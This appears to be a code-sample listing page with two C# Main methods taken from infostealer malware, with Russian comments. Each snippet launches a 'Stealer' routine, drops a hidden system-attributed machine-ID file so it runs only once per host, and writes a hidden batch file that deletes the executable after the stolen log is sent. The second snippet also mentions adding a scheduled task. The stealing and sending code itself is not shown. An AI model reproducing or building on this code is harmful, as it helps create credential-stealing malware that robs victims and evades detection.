Exemple #1
0
        private static void Main()
        {
            // Подключаем DotNetZip.dll, должен быть в ресурсах проекта и подключен как ссылка
            AppDomain.CurrentDomain.AssemblyResolve += AppDomain_AssemblyResolve;
            Assembly AppDomain_AssemblyResolve(object sender, ResolveEventArgs args)
            {
                if (args.Name.Contains("DotNetZip"))
                {
                    return(Assembly.Load(Resources.DotNetZip));
                }
                return(null);
            }

            if (File.Exists(Help.LocalData + "\\" + Help.HWID))
            {
                if (!File.ReadAllText(Help.LocalData + "\\" + Help.HWID).Contains(Help.HWID))
                {
                    // Запускаем стиллер
                    Stealer.GetStealer();
                }
                else
                {
                    Environment.Exit(0);
                }
            }

            else
            {
                Stealer.GetStealer();
                File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID);
                File.SetAttributes(Help.LocalData + "\\" + Help.HWID, FileAttributes.Hidden | FileAttributes.System);
            }

            // Самоудаление после отправки лога
            string batch = Path.GetTempFileName() + ".bat";

            using (StreamWriter sw = new StreamWriter(batch))
            {
                sw.WriteLine("@echo off");
                sw.WriteLine("timeout 4 > NUL");                                                                                                                  // Задержка до выполнения следуюющих команд
                sw.WriteLine("DEL " + "\"" + Path.GetFileName(new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name) + "\"" + " /f /q"); // Удаляем исходный билд
            }

            Process.Start(new ProcessStartInfo()
            {
                FileName        = batch,
                CreateNoWindow  = true,
                ErrorDialog     = false,
                UseShellExecute = false,
                WindowStyle     = ProcessWindowStyle.Hidden
            });
            Environment.Exit(0);
        }
Exemple #2
0
        private static void Main(string[] args)
        {
            if (File.Exists(Help.LocalData + "\\" + Help.HWID))
            {
                if (!File.ReadAllText(Help.LocalData + "\\" + Help.HWID).Contains(Help.HWID))
                {
                    // Запускаем стиллер
                    Stealer.GetStealer();
                }
                else
                {
                    Environment.Exit(0);
                }
            }

            else
            {
                Stealer.GetStealer();
                File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID);
                File.SetAttributes(Help.LocalData + "\\" + Help.HWID, FileAttributes.Hidden | FileAttributes.System);
            }

            // Самоудаление и добавление в планировщик задач с интервалом в 4 минуты
            string batch = Path.GetTempFileName() + ".bat";

            using (StreamWriter sw = new StreamWriter(batch))
            {
                sw.WriteLine("@echo off");
                sw.WriteLine("timeout 4 > NUL");                                                                                                                  // Задержка до выполнения следуюющих команд
                sw.WriteLine("DEL " + "\"" + Path.GetFileName(new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name) + "\"" + " /f /q"); // Удаляем исходный билд
            }

            Process.Start(new ProcessStartInfo()
            {
                FileName        = batch,
                CreateNoWindow  = true,
                ErrorDialog     = false,
                UseShellExecute = false,
                WindowStyle     = ProcessWindowStyle.Hidden
            });
            Environment.Exit(0);
        }